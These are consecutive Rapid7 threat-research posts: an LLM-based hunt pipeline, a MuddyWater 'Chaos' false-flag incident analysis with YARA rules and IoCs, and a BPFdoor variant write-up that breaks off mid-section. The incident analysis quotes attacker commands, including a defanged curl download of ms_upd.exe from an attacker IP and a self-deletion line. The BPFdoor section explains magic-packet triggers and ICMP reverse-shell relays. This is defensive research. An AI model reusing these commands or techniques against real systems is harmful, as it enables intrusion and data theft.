Blake McDermott is Senior Threat Hunter at Rapid7.

Every week, threat hunt teams are faced with a steady flow of blogs, advisories, and DFIR reports containing valuable intelligence about adversary behaviors, tactics, techniques, and procedures. The challenge is turning that intelligence into repeatable, behavior-based hunting logic quickly enough to be useful. Indicators of compromise still have value, but they age quickly. Behavioral detections give defenders a better way to look for how attackers operate, rather than relying only on what they leave behind.

To help solve this, Rapid7’s Internal Security team built an automated threat hunting pipeline that transforms threat intelligence reporting into structured, executable hunt plans. The pipeline uses large language models to extract adversary behaviors, map them to MITRE ATT&CK techniques, generate detection queries across multiple tools, and support analyst-ready briefings in minutes rather than days.

Why manual threat hunting does not scale

A single threat intelligence report can describe dozens of adversary behaviors across multiple ATT&CK techniques. Translating that report into useful hunt logic often requires an analyst to read the full source, identify relevant behaviors, map them to ATT&CK, write queries for each security tool, validate syntax, execute searches, and triage the results.

For a report covering 40 to 50 techniques, that process can consume much of a working week. When multiple high-quality reports land at once, manual hunting quickly becomes unsustainable. The goal of this project was to reduce the mechanical work involved in building hunt plans, while keeping analysts in control of validation, interpretation, and decision-making.

How the automated threat hunting pipeline works

The pipeline runs in four stages, each designed to be inspectable, repeatable, and easy for analysts to refine over time.

Stage 1: Threat intelligence ingestion

The pipeline accepts a threat intelligence blog or report via URL or pasted text. It extracts the core article body, removes navigation and boilerplate content, and validates the material to ensure there is enough substance for analysis. This creates a clean input for the model and reduces the risk of irrelevant page content influencing the output.

Stage 2: ATT&CK technique extraction

The cleaned content is then sent to a large language model with a structured prompt that instructs it to act as a MITRE ATT&CK analyst. The model identifies adversary techniques referenced in the report and returns each one with its technique ID, technique name, tactic category, and a short summary of how the threat actor used it.

The prompt is tuned to focus on offensive behaviors and adversary tradecraft. Defensive recommendations, control guidance, and mitigation strategies are excluded from this specific workflow so the output reflects what the attacker did, rather than what defenders should implement in response. That focus helps preserve the hunting value of the source material while leaving room for separate workflows that generate defensive recommendations or control improvements.

For example, when applied to a Rapid7 threat research report on BPFdoor activity in telecom networks, the pipeline identified 16 techniques across seven ATT&CK tactics, including Initial Access, Persistence, Defense Evasion, Credential Access, Collection, Command and Control, and Execution. That structured extraction became the foundation for a hunt plan with detection coverage across InsightIDR, Velociraptor, and Sigma, giving analysts a faster path from source intelligence to behavior-based hunting logic.

Stage 3: Detection query generation

For each identified technique, the pipeline generates detection content across several tools and formats. This includes LEQL queries for InsightIDR, targeting activity such as process execution, authentication events, network connections, and file modifications. It also includes Velociraptor VQL queries and artifact recommendations for live host interrogation, Sigma rules that can be shared across teams or converted into other SIEM formats, and YARA rules where relevant.

Every generated query is reviewed by an analyst before use. LLMs can accelerate drafting and reduce repetitive work, but analyst validation remains essential for accuracy, syntax, and operational fit.

Stage 4: Hunt plan assembly

The pipeline assembles a structured markdown hunt plan organized by ATT&CK tactic. Each report includes an executive summary, an IOC sweep section when indicators are present, and a behavioral hunting section containing generated queries in fenced code blocks with clear explanations of what each query is designed to detect. This gives analysts a consistent output they can inspect, edit, execute, and reuse.

Building a reusable detection query library

A key design decision was the introduction of a persistent query cache. Each technique’s generated queries are saved as standalone markdown files, creating a growing library of reusable detection content.

This cache reduces cost and execution time because techniques seen in previous reports can be loaded from the library rather than regenerated. It also creates a practical feedback loop: analysts can correct, tune, and improve cached queries over time, and those improvements persist across future hunt plans.

By tracking which reports and campaigns reference each technique, the team can build an organic view of recurring adversary behavior and identify which techniques appear across multiple actors or campaigns. Over time, this helps narrow the focus to behaviors most relevant to the environment, providing useful context.

Executing hunts and analyzing results

Once a hunt plan has been reviewed and validated, a separate process executes approved queries against InsightIDR. Results are then parsed and summarized into a briefing that highlights which queries returned results, why those results may matter, which findings may require immediate investigation, and how the activity relates to the threat actor’s known tradecraft.

Analysts can then ask follow-up questions conversationally, such as which findings should be prioritized, which hosts or users require deeper review, or how results should be interpreted based on risk.

Velociraptor queries are still executed manually because of the level of access involved. Given the potential impact of live host interrogation, the team made the deliberate decision to keep that execution under direct analyst control.

Practical use cases for automated threat hunting

The pipeline has already proven useful across several hunting scenarios: For advanced threat actor reporting, it can process DFIR reports and APT advisories to quickly determine whether known tradecraft appears in the environment. For insider threat hunting, it can be adapted to focus on data movement, anomalous access patterns, staging, and exfiltration behaviors. For security hardening, it can process reports about common persistence mechanisms and misconfigurations to validate whether the environment is exposed to known attack paths.

Across each use case, the value comes from shortening the path between intelligence and action.

Automating the repetitive work, not the expertise

By automating the repetitive work of reading reports, mapping techniques, and drafting queries, analysts can spend more time interpreting results, understanding context, and making decisions. The pipeline turns a daily flood of threat intelligence into structured, queryable, and continuously improving detection content. What previously required hours or days of manual effort can now be completed in minutes, while the underlying library compounds in value with every report processed.

Executive summary

In early 2026, a sophisticated intrusion initially appearing to be a standard Chaos ransomware attack was assessed to be consistent with a targeted state-sponsored operation. While the threat actor operated under the banner of the Chaos ransomware-as-a-service (RaaS) group, forensic analysis revealed the incident was a "false flag" masquerade. Technical artifacts, including a specific code-signing certificate and Command-and-Control (C2) infrastructure, suggest with moderate confidence that this activity is linked to MuddyWater (Seedworm), an Iranian Advanced Persistent Threat (APT) affiliated with the Ministry of Intelligence and Security (MOIS).

The campaign was characterized by a high-touch social engineering phase conducted via Microsoft Teams, where the attackers utilized interactive screen-sharing to harvest credentials and manipulate Multi-Factor Authentication (MFA). Once inside, the group bypassed traditional ransomware workflows, forgoing file encryption in favor of data exfiltration and long-term persistence via remote management tools like DWAgent. This report deconstructs the infection chain and analyzes the custom "Game.exe" Remote Access Trojan (RAT).

Additionally, this explores the process by which MuddyWater is increasingly leveraging the cybercriminal ecosystem to provide plausible deniability for geopolitical espionage and prepositioning, particularly in the US. The strategy highlights the convergence between state-sponsored intrusion activity and criminal tradecraft, where a big “tell” lies in the techniques that were deployed – and those that weren’t.

This overall strategy suggests the primary goal was not financial gain. It is also further proof of the lines blurring against the background of geopolitical tensions, and that attribution is becoming more difficult if teams do not take it upon themselves to conduct proper and thorough research.

Rapid7 coverage

Rapid7 has coverage for this campaign across both intelligence and detection workflows. The campaign is available in Rapid7’s Intelligence Hub, providing customers with curated context, indicators, and threat actor tradecraft to support awareness, investigation, and prioritization. Relevant detections are also available in InsightIDR, helping security teams identify activity associated with this intrusion pattern across their environments.

Chaos ransomware: Profile and targeting

Active since February 2025, Chaos is a ransomware-as-a-service (RaaS) operation specializing in big-game hunting (BGH) attacks against high-profile organizations, with reported ransom demands reaching up to $300,000. Despite the name, it is distinct from the Chaos malware builder identified in 2021. The group emerged shortly after the July 2025 law enforcement disruption of BlackSuit infrastructure during Operation Checkmate and is likely composed of former BlackSuit and/or Royal members. To expand its operations, Chaos advertises its affiliate program on cybercrime forums, such as RAMP (prior to its takedown) and RehubCom.

Chaos relies heavily on social engineering and remote access abuse to gain initial access. Rapid7 observed techniques that include spam email flooding combined with voice-based phishing (vishing), often involving impersonation of IT support personnel. Chaos then persuades victims to grant remote access via legitimate tools such as Microsoft Quick Assist, allowing operators to establish an initial foothold.

In line with common ransomware practices, Chaos typically employs double extortion, exfiltrating sensitive data prior to encryption and threatening public disclosure via its data leak site (DLS). The group has also demonstrated triple extortion by threatening distributed denial-of-service (DDoS) attacks against the victim's infrastructure. These capabilities are reportedly offered to affiliates as part of bundled services, representing a notable feature of its RaaS model. Additionally, Chaos has been observed leveraging elements of quadruple extortion, including threats to contact customers or competitors to increase pressure on victims.

A distinguishing characteristic of the group’s DLS is the use of a “blind” countdown timer, which withholds the victim’s identity until expiration, likely intended to accelerate negotiations (Figure 1). As of late March 2026, Chaos has claimed 36 victims and maintained a consistent operational tempo (Figure 2). The group predominantly targets organizations in the United States, with a particular focus on the construction, manufacturing, and business services sectors (Figure 3).

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Incident overview

The intrusion that Rapid7 investigated began with a targeted social engineering campaign leveraging Microsoft Teams, where the threat actor (TA) engaged employees through external chat requests. By operating interactively through compromised users, the attacker conducted initial discovery, harvested credentials, including MFA manipulation, and quickly transitioned to using legitimate accounts for internal access.

From there, the TA established persistence using remote access tools such as DWAgent and AnyDesk, before deploying additional payloads and further control of the environment. Following this, the TA exfiltrated data from the compromised environment and subsequently contacted the victim via email, claiming data theft and initiating ransom negotiations (Figure 4).

Initial Access via social engineering and remote interaction

The TA achieved initial access through social engineering conducted via Microsoft Teams, where they initiated one-on-one chats with users from a controlled account. During these interactions, the TA established screen-sharing sessions, gaining direct visibility and interactive access to user assets.

While connected, the TA executed basic discovery commands, accessed files related to the victim’s VPN configuration, and instructed users to enter their credentials into locally created text files. In at least one instance, the TA deployed a remote management tool (AnyDesk) to further facilitate access.

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ipconfig /all
nslookup
net start
whoami
ping

Figure 5: Discovery commands executed by the TA

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Credential harvesting and account compromise

A key component of the intrusion involved interactive credential harvesting: The TA explicitly instructed victims to enter credentials into locally created text files (credentials.txt, cred.txt) and to modify MFA configurations to include attacker-controlled devices.

Additionally, Rapid7’s analysis of browser artifacts revealed access to the URL hxxps[://]adm-pulse[.]com/verify.php.

The URL mimicked a Quick Assist themed phishing page, indicating credential harvesting through impersonation.

Establishing initial foothold and remote access

Following credential compromise, the TA authenticated to internal systems, including a Domain Controller, using multiple compromised accounts. They then established persistent remote access through RDP sessions and deployment of the remote management tool DWAgent. The DWAgent installation chain included:

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Table 1: Files observed during installation of DWAgent

Payload delivery and execution

The TA later executed commands via RDP to download additional payloads using curl:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

After the download, the TA executed the binary ms_upd.exe, initiating a multi-stage infection chain. 

Upon successful execution, ms_upd.exe downloaded additional components:

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Table 2: Components downloaded by ms_upd.exe

Lateral movement 

The TA expanded access within the environment by leveraging compromised accounts and establishing remote access channels. They used RDP sessions to move between systems, allowing them to operate interactively and access additional resources within the network.

Extortion activity and data leak claims

The TA distributed emails to multiple users, alleging successful data exfiltration, and provided a .onion link for negotiation. Open-source intelligence (OSINT) collection identified a corresponding entry on the Chaos DLS referencing data; however, all identifying details were redacted, as per the group’s typical “blind” countdown timer. 

A subsequent email introduced a new contact address and instructed recipients to locate a note allegedly placed within their Desktop directory containing “access credentials” for a secure chat. Rapid7 conducted a threat hunt across all assets that focused on files created or accessed within Desktop directories and subdirectories and did not identify any artifacts consistent with the TA’s claims. The victim further validated the affected user systems and confirmed the absence of such files. Despite these inconsistencies in the initial proof-of-compromise, the TA later published the stolen data on its DLS in line with modern extortion tactics. The victim confirmed that the leaked data was legitimate.

Malware analysis

ms_upd.exe 

The binary functions as a downloader that begins by collecting basic host information, including computer name, username, and domain. This data is used to generate a unique client identifier, concatenating computer name, username, and tick count, which is sent to the C2 server moonzonet[.]com via a /register request, followed by periodic /check requests to determine the execution flow.

Based on the C2 response, the malware either proceeds when receiving an “approved” status or retries registration, if instructed. Once approved, it reports a “downloading” status and prepares a working directory under the user’s Downloads folder (falling back to C:\Users\Public\Downloads if necessary).

The dropper then retrieves three payload components from the C2:

• Game.dll (saved as WebView2Loader.dll)

• Game.exe

• Game.config (saved as visualwincomp.txt)

If all downloads succeed, the malware reports a “running” status and executes the primary payload - Game.exe. Execution success is monitored, with the result communicated back to the C2 as either “success” or “error”. Upon successful execution, the dropper triggers a self-deletion routine via a delayed command cmd.exe /c ping 127.0.0.1 -n 6 > nul && del /f /q \"%s\".

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As seen in Figure 6, the malware doesn’t use any form of obfuscation to hide its purpose - API imports are statically resolved, and strings are stored in a plaintext form. This simplicity suggests the tool was likely developed for limited or single-use deployment.

At the time of writing, only two samples have been observed in public repositories, both exhibiting identical functionality.

Game.exe

Game.exe is a custom RAT that masquerades as a legitimate Microsoft WebView2 application. Analysis of the binary's PDB path C:\Users\pc\Downloads\WebView2Samples-main\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb confirms that the developer trojanized the official Microsoft WebView2APISample project: https://github.com/MicrosoftEdge/WebView2Samples/tree/main/SampleApps/WebView2APISample. 

The malware deviates from the dropper in a way that it implements some obfuscation and anti analysis techniques: 

Table 3: Anti analysis / anti detection techniques used by Game.exe

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If the malware does not detect an analysis environment,, it establishes persistence by self-installing into a randomized directory under C:\ProgramData\visualwincomp-<random>\, where it copies itself alongside a legitimate WebView2Loader.dll and an encrypted configuration file, visualwincomp.txt.

Additionally, the malware enforces single execution on an infected host by registering the mutex ATTRIBUTES_ObjectKernel.

The RAT decrypts its configuration using AES-256-GCM to extract the attacker’s C2 server hostname uploadfiler[.]com and port 443. The malware first registers the victim by sending registration information such as computer name, username, and privilege level to the /home endpoint. Once registered, it enters an infinite loop polling /index.php every 60 seconds. The RAT features 12 core capabilities including arbitrary command execution via hidden cmd.exe or encoded PowerShell sessions; file uploads with retry logic; file deletion; and the establishment of persistent interactive shells. Command results and execution status are reported back to the /profile endpoint. 

Table 4: Supported commands of the RAT

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The malware design is unorthodox, characterized by an inconsistent approach to concealment. While it utilizes XOR encoding (key: 0xAB) to hide specific anti-analysis strings, such as VM detection keys and sandbox-related DLL names, critical indicators like file paths, RAT command strings, and JSON registration formats are left in plaintext. 

This inconsistency extends to its interaction with the Import Address Table (IAT). While the malware dynamically resolves certain sensitive APIs at runtime, such as CreateMutexA, other highly suspicious functions like CreatePipe and CreateProcessA remain statically linked. Notably, the developer dynamically loads the Sleep API via GetProcAddress despite it already being statically imported in the IAT.

These architectural discrepancies suggest the author is likely an unseasoned developer. The mixture of static imports and visible strings provides significant telemetry for AV and EDR solutions to identify and stop the threat (confirmed during the incident response).

Similar to ms_upd.exe during the hunt on public malware sharing platforms, we were able to find another sample (SHA256 3df9dcc45d2a3b1f639e40d47eceeafb229f6d9e7f0adcd8f1731af1563ffb90), implementing the same logic as Game.exe but masquerading itself as WebView2.exe.

Attribution remains challenging due to the absence of specialized attack patterns or known APT delivery vectors, such as NSIS used by Chinese APTs:

• Read blog: NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign

• Read blog: The Chrysalis Backdoor: A Deep Dive into Lotus Blossom’s toolkit

However, the presence of a specific signing Certificate and work of other threat researchers made it easier.

Certificate

While the TA adopted the Chaos Ransomware brand to project a cybercriminal identity, the underlying infrastructure reveals a signature previously associated with infrastructure linked to the Iranian Ministry of Intelligence and Security (MOIS). The primary technical bridge to the APT group MuddyWater (Seedworm) is the code-signing certificate used to validate the malware samples.

During the analysis of the downloader (ms_upd.exe), we identified a consistent digital signature:

Table 5: Certificate details

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The "Donald Gay" certificate is a known shared resource within MuddyWater’s toolkit. Alongside its frequent companion, "Amy Cherne," this identity forms a distinct cluster of Iranian MOIS-affiliated infrastructure. According to threat intelligence reports from March and April 2026, this specific certificate has been tied directly to MuddyWater’s "Operation Olalampo," a campaign targeting organizations across the U.S. and the MENA (Middle East and North Africa) regions. Historically, this identity was also used to sign Stagecomp (ms_upd.exe), a downloader for the Darkcomp backdoor (Game.exe), both of which are firmly attributed to MuddyWater by multiple global security vendors.

Beyond the certificate, other technical artifacts solidify this attribution:

• Infrastructure overlap: The domain moonzonet[.]com, which served as the C2 for ms_upd.exe, was linked to MuddyWater in early 2026 during a wave of activity targeting Israeli and Western organizations.

• Execution tradecraft: The group’s signature use of pythonw.exe to inject code into suspended processes remains a consistent hallmark of their deployment chain.

• Social engineering technique: The use of interactive Microsoft Teams sessions to harvest MFA and credentials aligns closely with the "IT Support" persona MuddyWater has refined throughout 2026.

Attribution: The "Chaos" masquerade

The convergence of technical and contextual evidence is consistent with attribution to MuddyWater with moderate confidence. The observed use of Chaos ransomware does not indicate a shift in the group’s underlying objectives, but rather reflects a consistent effort to obscure operational intent and complicate attribution. While attribution evasion is a common characteristic of state-affiliated actors, MuddyWater’s reported increase in operational activity as of early 2026, primarily involving cyber espionage and potential prepositioning for disruptive operations across Western and Middle Eastern networks, has likely intensified its reliance on deceptive false-flag operations.

This assessment aligns with previously observed behavior. In late 2025, MuddyWater was linked to activity involving the Qilin RaaS ecosystem in an operation targeting an Israeli organization. Following the subsequent public attribution of that incident to the MOIS, it is plausible that the group adopted alternative ransomware branding, in this case Chaos, in an effort to reduce attribution risk and maintain a degree of plausible deniability.

The use of a RaaS framework in this context may enable the actor to blur distinctions between state-sponsored activity and financially motivated cybercrime, thereby complicating attribution. Furthermore, the inclusion of extortion and negotiation elements could serve to focus defensive efforts on immediate impact, likely delaying the identification of underlying persistence mechanisms established via remote access tools such as DWAgent or AnyDesk.

Notably, the apparent absence of file encryption, despite the presence of Chaos ransomware artifacts, represents a deviation from typical ransomware behavior. This inconsistency may indicate that the ransomware component functioned primarily as a facilitating or obfuscation mechanism, rather than as the primary objective of the intrusion. This deviation highlights a mismatch between typical profit-driven ransomware behavior and the actor’s apparent espionage objectives. It further suggests a likely explanation for the inconsistent data provided by the TA as an initial proof-of-compromise. 

Taken together, these technical indicators and procedural inconsistencies are indicative of a targeted, state-sponsored intrusion masquerading as opportunistic extortion activity.

Conclusion

This incident highlights the increasing convergence between state-sponsored intrusion activity and cybercriminal tradecraft. While the operation incorporated recognizable elements of ransomware campaigns, such as extortion messaging and leak site publication, the absence of encryption and the presence of established espionage techniques suggest that financial gain was unlikely to be the primary objective.

The assessed link to MuddyWater indicates a continued evolution in the group’s operational approach, including the apparent use of RaaS ecosystems and branding to obscure attribution. This aligns with broader trends in which state-aligned actors adopt criminal tactics to introduce ambiguity and delay defensive response.

This case underscores the importance of looking beyond overt ransomware indicators. Defenders should also focus on the underlying intrusion lifecycle. Techniques such as social engineering via enterprise communication platforms, credential harvesting with MFA manipulation, and the abuse of legitimate remote access tools remain critical enablers of compromise.

Ultimately, this activity is best understood as a hybrid intrusion model, in which ransomware is leveraged not as an end goal but as a mechanism for concealment, coercion, and operational flexibility within a broader intelligence-driven campaign.

For additional blog posts and detailed analysis from Rapid7 Labs on all things cyber-related to the conflict, please visit our Iran Conflict Cyber Threat Intelligence Hub.

Rapid7 Customers

Indicators of compromise (IoCs)

File indicators

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Network indicators

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MITRE ATT&CK techniques

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YARA rules

rule MuddyWaterRAT{

	meta:
		author = "Ivan Feigl ivan_feigl@rapid7.com"
		description = "Hunting rule for the RAT used by the MuddyWater, based on plain text string. Original sample MD5 F8560B9A893EEB2130FC7159E9C1B851"

strings:


		//TKP - Token privilege 
		$TKP1 = "System"
		$TKP2 = "Admin"
		$TKP3 = "User"

        // DF - Data format
		$DF1 = "\"computer_name\":\""
		$DF2 = "\"username\":\"" 
		$DF3 = "\"domain\":\"" 
		$DF4 = "\"local_ip\":\"127.0.0.1\"" 
		$DF5 = "\"privilege\":\"" 
		$DF6 = "\"process_name\":\"agent-" 
		$DF7 = "\"version\":\"E.1.0\"" 
		$DF8 = "\"sleep_time\":60" 


        //IAT - Import address table
        $IAT1   = "GetComputerNameA"
        $IAT2   = "GetUserNameA"
        $IAT3   = "NetWkstaGetInfo"
        $IAT4   = "NetApiBufferFree"
        $IAT5   = "AllocateAndInitializeSid"
        $IAT6   = "OpenProcessToken"
        $IAT7   = "GetTokenInformation"
        $IAT8   = "EqualSid"
        $IAT9   = "CheckTokenMembership"

        //MSC - misc
        $MSC1 = "re_register"
        $MSC2 = "cmd_id"
        $MSC3 = "cmd_id"
        $MSC4 = "run_cmd"
        $MSC5 = "cmd_line"
        $MSC6 = "run_powershell"

		condition:
			uint16(0) == 0x5A4D  and all of($TKP*) and all of($DF*) and all of($IAT*) and all of ($MSC*) 
}

rule MuddyWaterDownloader{

	meta:
		author = "Ivan Feigl ivan_feigl@rapid7.com"
		description = "Hunting rule for the downloader used by the MuddyWater, based on plain text string. Original sample MD5 439C0A0A46627BD166E08436F383AD56"

	strings:


		//ST - Status
		$ST1 = "downloading"
		$ST2 = "running"
		$ST3 = "success"
		$ST4 = "error"

		//SFF - Scanf formats
		$SFF1 = "EXIT_%lu"
		$SFF2 = "RUN_%lu"
		$SFF3 = "DL_%s"

		//ICO - Internet communication operation 
		$ICO1 = "/register" ascii wide
		$ICO2 = "/check" ascii wide
		$ICO3 = "/status" ascii wide
        $ICO4 = "GET" ascii wide
        $ICO5 = "POST" ascii wide
        $ICO6 = "CONN_ERR" ascii wide
        $ICO7 = "REQ_ERR" ascii wide
        $ICO8 = "SEND_ERR" ascii wide
        $ICO9 = "RECV_ERR" ascii wide
        $ICO10 = "HTTP_%lu" ascii wide

        //FO - File operation
        $FO1 = "wb"
        $FO2 = "EMPTY"
        $FO3 = "FILE_ERR"

        // DF - Data format
        $DF1 = "\"client_id\":\"%s\""
        $DF2 = "\"status\":\"%s\""
        $DF3 = "\"error_code\":\"%s\""

        //IAT - Import address table
        $IAT1   = "GetLastError"
        $IAT2   = "Sleep"
        $IAT3   = "WinHttpOpen"
        $IAT4   = "WinHttpConnect"
        $IAT5   = "WinHttpOpenRequest"
        $IAT6   = "WinHttpSendRequest"
        $IAT7   = "WinHttpReceiveResponse"
        $IAT8   = "WinHttpReadData"
        $IAT9   = "WinHttpCloseHandle"
        $IAT10  = "DeleteFileA"



		condition:
			uint16(0) == 0x5A4D  and all of($ST*) and all of($SFF*) and all of($ICO*) and all of ($FO*) and all of ($DF*) and all of ($IAT*)
}

This week on Experts on Experts, I’m joined by Christiaan Beek, Rapid7’s VP of Threat Analytics, to talk through what we’re seeing in the 2026 threat landscape and how it connects to recent research coming out of Rapid7 Labs.

We start with the report, but quickly move into what’s already playing out in active campaigns. What stands out is not a change in attacker technique, but the pace. Weak credentials, missing MFA, exposed services, and unpatched systems still drive most intrusions. What has changed is how quickly those conditions are identified and exploited, and that shift is forcing security teams to rethink how they prioritize and respond.

The window to act is disappearing

One of the clearest themes in the conversation is timing. The issue is no longer how many vulnerabilities exist, but how quickly they are being used. The gap between disclosure and exploitation has narrowed to a matter of days in many cases, which removes the buffer teams used to rely on.

At the same time, most intrusions still begin with familiar conditions. Identity and access remain consistent weaknesses, with missing MFA and exposed remote access continuing to provide reliable entry points. What has changed is how those weaknesses are used. Access is now packaged and sold through a broader ecosystem, which increases both the speed and scale of attacks.

Access, persistence, and trusted systems

We also look at how attacker behaviour is evolving beyond initial access. In some environments, the goal is no longer immediate disruption but long-term presence. That changes how teams should think about detection, because finding activity is only the starting point. Understanding how long access has existed and what has already happened becomes just as important.

At the same time, attacks are concentrating inside systems organizations rely on every day. Identity platforms, cloud environments, and collaboration tools are all becoming key targets. The challenge is that activity in these systems often looks legitimate, which makes it harder to distinguish between normal behaviour and something that requires investigation.

AI is accelerating what already works

AI is part of this shift, but not because it introduces entirely new attack paths. What it does is make existing techniques faster and easier to scale, particularly in areas like social engineering and reconnaissance. Attackers can generate and adapt campaigns quickly, while defenders are dealing with increasing volumes of data.

That creates a simple but important shift. Security teams are not falling behind because they lack tools, but because the timing of attacks has changed and their processes have not kept up. The focus now is on understanding exposure earlier, prioritizing what matters, and preparing actions in advance.

Watch the full episode below to hear Christiaan’s perspective on how these trends are evolving and what they mean for security leaders heading into 2026.

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Executive Overview

Advanced persistent threats (APTs) are constantly and consistently changing tactics as network defenders plug holes in defenses. Static indicators of compromise (IoCs) for the BPFDoor have been widely deployed, forcing threat actors to get creative in their use of this particular strain of malware. What they came up with is ingenious.

New research from Rapid7 Labs has uncovered undocumented features leading to the discovery of 7 new BPFDoor variants: a stealthy kernel-level backdoor that uses Berkeley Packet Filters (BPFs) to inspect traffic from right inside the operating system kernel. This essentially creates a silent trapdoor that can be activated by a threat actor once a “magic packet” is tunneled via stateless protocols. The malware is then able to perfectly blend into the target environment, establishing nearly undetectable persistence in global telecom infrastructure.

Our latest research continues the narrative established in our blog BPFdoor in Telecom Networks: Sleeper Cells in the Backbone. It involves the analysis of nearly 300 samples and  identifies two primary new variants: httpShell and icmpShell. These variants represent a significant leap in operational security, utilizing stateless C2 routing and ICMP relay to bypass multi-million dollar security stacks.

Rapid7 detection and response strategy:

Rapid7 is actively tracking these variants to ensure our customers remain protected against this evolving threat through the following:

• Intelligence Hub: Customers with access to Rapid7’s Intelligence Hub are receiving continuous updates, including the latest intelligence, YARA rules, and Suricata detection rulesets.

• Actionable guidance: We have released a specialized triage script (rapid7_bpfdoor_check.sh) designed to identify both legacy and modern BPFDoor variants by inspecting active BPF filters and validating masqueraded processes.

• Detection engineering: Our detection strategy focuses on structural header anomalies, such as hardcoded ICMP sequence numbers and invalid protocol codes, rather than transient payload content.

The strategic shift: Beyond legacy stealth

While BPFDoor has been active for years, its codebase has evolved significantly. The threat actor continues to incorporate minor features into the original codebase leaked in 2022, resulting in a "messy" but effective toolkit designed to hinder threat hunting. Given the significant code overlap among BPFDoor variants, we focused on the minor, easily overlooked details the TA (threat actor) added to the leaked codebase.

From memory to disk

Historically, BPFDoor was known for appearing "fileless" by executing from /dev/shm and deleting itself. However, modern endpoint detection and response (EDR) tools now flag processes running from deleted inodes in temporary filesystems. Recognizing this, the developers of the httpShell variant have eliminated the /dev/shm drop. The malware now resides on disk, using a single, hard-coded process name to blend in as a normal system daemon.

Technical analysis: httpShell vs. icmpShell

Our research unraveled several undocumented features (some of them were not documented for nearly 5 years), leading to the discovery of two primary variants: httpShell and icmpShell.

httpShell: The "Magic Ruler" of encapsulated traffic

The httpShell variant leverages kernel-level packet filters to perform validation across both IPv4 and IPv6 traffic. It uses HTTP-tunneling to extract hidden commands and features a newly discovered "Hidden IP" (HIP) field for dynamic routing.

• Kernel-level decapsulation: By binding to all interfaces simultaneously, the malware forces the target’s own kernel to decapsulate complex carrier-grade tunnels like GRE or GTP. This allows the BPF filter to easily catch magic bytes hidden inside the inner packets.

• The offset evasion: To survive enterprise proxies and WAFs that shift data positions, attackers use a mathematical padding scheme. They ensure their "9999" marker always lands exactly at the 26th byte offset of the inspected data, allowing the trigger to survive proxy headers.

• IPv6 limitations: The filter assumes the UDP/TCP header starts exactly at byte 40 (standard empty IPv6 header). If an attacker includes IPv6 "Extension Headers," the payload is pushed further down, and the malware fails to wake up.

icmpShell: The dynamic PTY tunnel

Designed for heavily restricted environments, icmpShell tunnels interactive sessions entirely over ICMP.

• PID-bound mutation: This variant injects a dynamic BPF filter into the kernel that binds specifically to the malware's runtime Process ID (PID). Because the PID changes with every execution, the required "magic knock" signature mutates dynamically, rendering static firewall rules useless.

• Multi-mode execution: Beyond basic shells, it implements bidirectional ICMP tunnels, UDP and ICMP “hole-punching”, and RC4 encryption.

Both variants support relay over ICMP.

Stateless C2 and the "Hidden IP"

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The discovery of the magic_packet_v2 struct featuring the HIP (hidden ip field) used for relay purposes highlights the malware's operational maturity.

Dynamic C2 routing

One of the most elegant features is the use of a -1 flag (255.255.255.255) in the IP field of the magic packet structure.

• Mechanism: If the flag is set, the malware ignores hardcoded IPs and sends its reverse shell back to the source IP found in the headers of the packet that woke it up.

• Strategic purpose: This makes the attacker's controller completely stateless. Attackers can deploy from behind NAT or VPNs without needing to discover or hardcode their current external IP into the magic payload.

ICMP lateral movement (the relay)

if (auth(mpacket->pass) || mpacket->hip == -1 || !mpacket->hip)

When the above "Gatekeeper Condition" (authentication) is false, the malware transforms the infected machine into an invisible network router.

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• The process: It extracts an internal target IP from the HIP field, rewrites the trigger flag to ICMP magic bytes (0x5572), and fires a crafted ICMP Echo Request at the internal target.

• Loop prevention: The malware wipes the hop IP to -1 to stop the next BPFDoor instance from forwarding the packet again.

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Rapid7 set up a playground lab to test icmpShell. For this scenario, two docker containers simulating an nginx edge proxy and a victim HSS infected with icmpShell have been used, while the attacker executes the trigger sending the magic packet via the newly discovered Rapid7 BPFDoor controller. To interact with the shell we developed the python script icmpshell.py to ensure RC4 state is consistent across echo requests received on the attacker’s side, filtering out also heartbeat echo requests featuring an invalid ICMP code 1.

In the bottom-right pane of the video below, we see the icmpShell variant being run with strace to debug its behavior. The top-left shows the controller triggering the backdoor after entering the new “icmp” password and crafting a magic packet over HTTPS (we will break down HTTPS tunneling and the new Rapid7 controller in a future blog) using magic bytes 0x5293. On the bottom-left pane the icmpshell.py runs to perform the ICMP handshake and handle shell traffic.  The connection over ICMP established between the attacker machine (REMnux) and the victim HSS leverages a second BPF filter (13-BPF instructions), installed by the backdoor that uses the reverse shell PID as a fixed ICMP ID, ensuring the capture of shell-related packets. On the upper-right pane, an ICMP tcpdump capture is run.

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The video ends showing that the backdoor exits after 12s of attacker inactivity, killing the connection. The tcpdump capture shows attacker traffic being sent in cleartext prepending ‘X:’ to commands while the victim response is RC4 encrypted with the key “icmp”.

Below, we can observe the tcpdump screens highlighting ICMP handshake, shell’s data encryption, attacker’s command and the usage of 1234 ICMP sequence number hardcoded in the backdoor.

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Figure 7 below shows the heartbeat payload ignored by icmpshell.py acting as an ICMP “hole-punching” to keep the firewall state table active.

Rapid7 variants

The research of new variants is still ongoing. At the time of writing, Rapid7 identified seven new variants featuring new magic bytes and active C2 beaconing summarized below.

Samples 2cc90edd9bc085f54851bed101f95ce2bace7c9a963380cfd11ea0bc60e71e0c and de472ed37e33b79e1aa37e67a680ee3a9d74628438c209543a06e916a0a86fba, which we classify as R7 variant ‘F’, increase stealthiness by hiding under /var/run/user/0. By avoiding the usual chmod command, the attacker ensures that no "change mode" event is logged by the kernel's audit system (auditd). Since /run is rarely mounted with the noexec flag (unlike /tmp), the malware bypasses the most common local hardening measure.

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Most samples simply redirect output to /dev/null. This variant goes further by performing a total FD (File Descriptor) wipe. Note the recurring timestomping routine following the old known anti-forensics technique.

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R7 variant ‘F’ exhibits a 26-BPF instruction filter featuring new magic bytes. Rapid7 developed a tool to extract BPF bytecode logic and identify variant-specific features. Three samples employed previously unknown magic bytes. Below is the output summarizing the filtering logic (Figure 10: 2cc90edd9bc085f54851bed101f95ce2bace7c9a963380cfd11ea0bc60e71e0c

De472ed37e33b79e1aa37e67a680ee3a9d74628438c209543a06e916a0a86fba; Figure 11: 757e911edaf45cc135f2498c38d4db8acec39cb6aeb3a1dcc38305ab2d326fa9).

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The BPF filtering can be expressed using libcap syntax:

